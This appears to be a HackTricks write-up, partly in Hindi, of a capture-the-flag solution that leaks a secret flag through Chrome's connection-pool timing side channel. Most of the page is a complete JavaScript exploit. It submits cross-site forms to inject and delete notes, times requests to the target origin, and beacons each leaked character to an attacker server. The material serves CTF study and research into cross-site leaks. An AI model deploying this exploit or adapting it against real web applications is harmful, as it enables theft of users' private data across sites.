Connection Pool by Destination Example

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In this exploit, @terjanq proposes yet another solution for the challenged mentioned in the following page:

Connection Pool by Destination Example

Let's see how this exploit work:

  • The attacker will inject a note with as many <img tags loading /js/purify.js as possible (more than 6 to block the origin).
  • Then, the attacker will remove the note with index 1.
  • Then, the attacker will [make the bot access the page with the reminding note] and will send a request to victim.com/js/purify.js that he will time.
  • If the time is bigger, the injection was in the note left, if the time is lower, the flag was in there.

note

सच कहूं तो, स्क्रिप्ट पढ़ते समय मुझे कुछ ऐसा हिस्सा याद आया जहां हमलावर बॉट को पृष्ठ लोड करने के लिए बनाता है ताकि img टैग को ट्रिगर किया जा सके, मुझे कोड में ऐसा कुछ नहीं दिखता

html
<html>
<head>
<script>
const SITE_URL = "https://safelist.ctf.sekai.team/"
const PING_URL = "https://myserver"
function timeScript() {
return new Promise((resolve) => {
var x = document.createElement("script")
x.src =
"https://safelist.ctf.sekai.team/js/purify.js?" + Math.random()
var start = Date.now()
x.onerror = () => {
console.log(`Time: ${Date.now() - start}`) //Time request
resolve(Date.now() - start)
x.remove()
}
document.body.appendChild(x)
})
}

add_note = async (note) => {
let x = document.createElement("form")
x.action = SITE_URL + "create"
x.method = "POST"
x.target = "xxx"

let i = document.createElement("input")
i.type = "text"
i.name = "text"
i.value = note
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}

remove_note = async (note_id) => {
let x = document.createElement("form")
x.action = SITE_URL + "remove"
x.method = "POST"
x.target = "_blank"

let i = document.createElement("input")
i.type = "text"
i.name = "index"
i.value = note_id
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}

const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms))
// }zyxwvutsrqponmlkjihgfedcba_
const alphabet = "zyxwvutsrqponmlkjihgfedcba_"
var prefix = "SEKAI{xsleakyay"
const TIMEOUT = 500
async function checkLetter(letter) {
// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
// Depending whether we found flag's letter it will either load the images or not.
// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
const payload =
`${prefix}${letter}` +
Array.from(Array(78))
.map((e, i) => `<img/src=/js/purify.js?${i}>`)
.join("")
await add_note(payload)
await sleep(TIMEOUT)
await timeScript()
await remove_note(1) //Now, only the note with the flag or with the injection existsh
await sleep(TIMEOUT)
const time = await timeScript() //Find out how much a request to the same origin takes
navigator.sendBeacon(PING_URL, [letter, time])
if (time > 100) {
return 1
}
return 0
}
window.onload = async () => {
navigator.sendBeacon(PING_URL, "start")
// doesnt work because we are removing flag after success.
// while(1){
for (const letter of alphabet) {
if (await checkLetter(letter)) {
prefix += letter
navigator.sendBeacon(PING_URL, prefix)
break
}
}
// }
}
</script>
</head>
<body></body>
</html>

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

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